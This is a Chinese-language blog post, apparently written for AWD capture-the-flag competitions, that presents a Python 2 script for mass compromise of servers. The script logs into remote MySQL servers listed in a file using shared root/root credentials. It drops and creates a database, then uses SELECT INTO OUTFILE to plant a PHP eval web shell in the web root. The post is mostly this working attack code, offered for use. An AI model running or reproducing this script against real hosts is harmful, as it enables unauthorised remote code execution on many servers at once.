這個腳本最開始的構思是在AWD比賽的情景下,因為所有伺服器的環境都相同,隻要檢視本地的MySql使用者名密碼就知道了所有伺服器的MySql使用者名密碼。若伺服器開放了3306端口,那麼利用這一個漏洞就能順利獲得所有伺服器權限。有備無患,于是就寫了這個Mysql批量連接配接寫小馬的腳本。以下是最初的腳本(python2),當然後來又更新換代加了騷思路,過一段時間會放出......
需要安裝mysqldb,可自行參考網上教程。我的是windwos環境直接在https://www.codegood.com/archives/129下載下傳MySQL-python-1.2.3.win-amd64-py2.7.exe安裝。
#coding=utf-8
#author=Blus
import MySQLdb
def mysql_connect1(ip,m_user,m_password,shell_url,shell_content):
#嘗試資料庫連接配接
try:
conn=MySQLdb.connect(host=ip,user=m_user,passwd=m_password,db='',port=3306)
print "連接配接成功"
cur=conn.cursor()
#若資料庫連接配接成功,開始寫馬
try:
#如果有重名資料庫則删除該資料庫
cur.execute('DROP database IF EXISTS `A123456666`;')
cur.execute('create database A123456666;')
except:
print "資料庫建立錯誤"
return
cur.execute('use A123456666;')
try:
sql_shell="SELECT '{}' into outfile '{}';".format(shell_content ,shell_url)
cur.execute(sql_shell)
print "小馬建立成功"
except:
print "小馬建立失敗"
return
cur.close()
except MySQLdb.Error,e:
print "Mysql_Error: %d: %s" % (e.args[0], e.args[1])
return
if __name__ == "__main__":
fp_ip=open('ip.txt')
shell_url = '/var/www/html/uploads/shell5.php'
shell_content = '<?php eval($_POST[cmd]); ?>'
user = "root"
password = "root"
for ip in fp_ip.readlines():
fp4=ip.replace('\r',"").replace('\n',"")
# url=str(fp5)
print fp4+ " 檢測中: "
mysql_connect1(ip,user,password,shell_url,shell_content)
print '檢測結束'